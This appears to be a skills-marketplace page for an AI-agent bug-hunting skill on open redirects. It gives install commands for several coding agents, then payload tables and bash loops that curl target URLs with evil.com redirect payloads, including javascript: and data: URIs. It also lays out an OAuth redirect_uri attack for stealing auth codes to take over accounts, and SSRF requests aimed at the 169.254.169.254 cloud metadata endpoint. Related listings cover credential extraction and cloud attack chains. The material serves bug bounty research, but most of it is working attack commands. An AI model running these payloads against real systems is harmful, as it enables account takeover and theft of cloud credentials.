apk-redteam-pipeline
End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx…
Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.
Claude Code
$ npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-open-redirect --agent claude-code
Codex
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-open-redirect -a codex -y
Cursor
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-open-redirect -a cursor -y
Gemini CLI
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-open-redirect -a gemini-cli -y
GitHub Copilot
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-open-redirect -a github-copilot -y
OpenCode
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-open-redirect -a opencode -y
Windsurf
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-open-redirect -a windsurf -y
name: hunt-open-redirect description: Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains. sources: hackerone_public report_count: 28
Open redirect alone is Low. Chained to OAuth = Critical (ATO).
**Highest-value chains:**
---
?redirect= ?next= ?url= ?return= ?returnTo= ?continue= ?dest= ?destination= ?go= ?forward= ?location= ?target= ?redir= ?redirect_uri= ?callback= ?checkout_url= ?success_url= ?cancel_url= /logout?returnTo= /login?next= /sso?callback=
---
| Technique | Payload | |-----------|---------| | Basic | `https://evil.com` | | Protocol relative | `//evil.com` | | Backslash bypass | `/\\evil.com` | | At-sign confusion | `https://target.com@evil.com` | | Double slash | `//evil.com/%2F..` | | URL encoding | `%2Fevil.com` | | Null byte | `evil.com%00target.com` | | Whitespace | `evil.com%09` or `%20` | | JavaScript URI | `javascript:window.location='https://evil.com'` | | Data URI | `data:text/html,<script>window.location='https://evil.com'</script>` | | Subdomain | `https://target.com.evil.com` | | Fragment | `https://evil.com#.target.com` |
---
# Extract all redirect candidates from crawl cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt wc -l recon/$TARGET/redirect-candidates.txt # Less common param names grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \ recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
doneBASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://$TARGET@evil.com"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
doneServer-side `Location:` grepping misses redirects that happen purely in JS. Source (`location.hash`/`location.search`/`document.referrer`) assigned to a navigation sink.
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
# Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;(PortSwigger: DOM-based open redirection.)
# If target has OAuth, check if redirect_uri accepts open redirect grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20 # Construct OAuth URL with open redirect as redirect_uri # Normal: redirect_uri=https://target.com/callback # Attack: redirect_uri=https://target.com/redirect?url=https://evil.com OAUTH_URL="https://$TARGET/oauth/authorize" curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
# If the app fetches the redirect target server-side (302 fetch follow) curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/" # Or: if app makes HTTP request to the redirect destination curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \ -H "Cookie: $SESSION"
---
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}---
| Open redirect finding | Chain to | Impact | |----------------------|----------|--------| | Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO | | Any open redirect | Phishing URL with target domain | Social engineering | | Server-side redirect | SSRF via followed redirect | Internal service access | | Logout redirect | Session fixation | Force login with known session |
---
✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page
**Severity:**
A self-contained Claude skill bundle for bug hunting and external red-team work · 83 skills · 15 slash commands · 681 disclosed-report patterns (433 now individually cited & auditable) across 24 core vulnerability classes · enterprise identity +
End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx…
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS…
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master…
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code…
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match…
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…